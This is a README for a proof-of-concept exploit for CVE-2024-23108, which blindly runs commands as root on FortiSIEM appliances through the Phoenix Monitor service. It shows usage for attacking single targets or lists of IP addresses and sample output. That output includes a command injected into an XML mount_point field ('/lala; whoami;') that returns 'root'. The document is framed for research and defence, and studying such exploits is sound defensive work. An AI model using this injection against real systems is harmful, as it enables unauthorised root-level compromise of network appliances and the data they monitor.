# CVE-2024-23108 POC

Proof of concept exploit to blindly execute commands as root on vulnerable FortiSIEM appliances.
I just quickly added the option to supply a list and added some coloring.
The orginal (and all the cred) goes to horizon3 (see blog post below)

## Blog Post

Root cause and indicators of compromise here:

### Follow the Attack Team on Twitter for the latest security research:

* [Horizon3 Attack Team](
* [James Horseman](
* [Zach Hanley](

## Usage

python3 -h
usage: [-h] -t TARGET [-l LIST] [-p PORT] -c COMMAND

  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The IP address of the target
  -l LIST, --list LIST  File containing list of IP addresses
  -p PORT, --port PORT  The port of the Phoenix Monitor service (default: 7900)
  -c COMMAND, --command COMMAND
                        The command to blindly execute

### Single Target

python3 -t <target_ip> -p <port> -c <command>

### Multiple Targets

python3 -l <file_path> -p <port> -c <command>

### Example:
python3 -l iplist.txt -p 7900 -c whoami

[!] Error connecting to timed out
[!] Error connecting to [WinError 10061] No connection could be made because the target machine actively refused it
[!] Error connecting to timed out
[!] Error connecting to timed out
[*] Sending to
<TEST_STORAGE type="nfs">
    <mount_point>/lala; whoami;</mount_point>
[+] Sent to!
[+] Received from b'root'


## Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.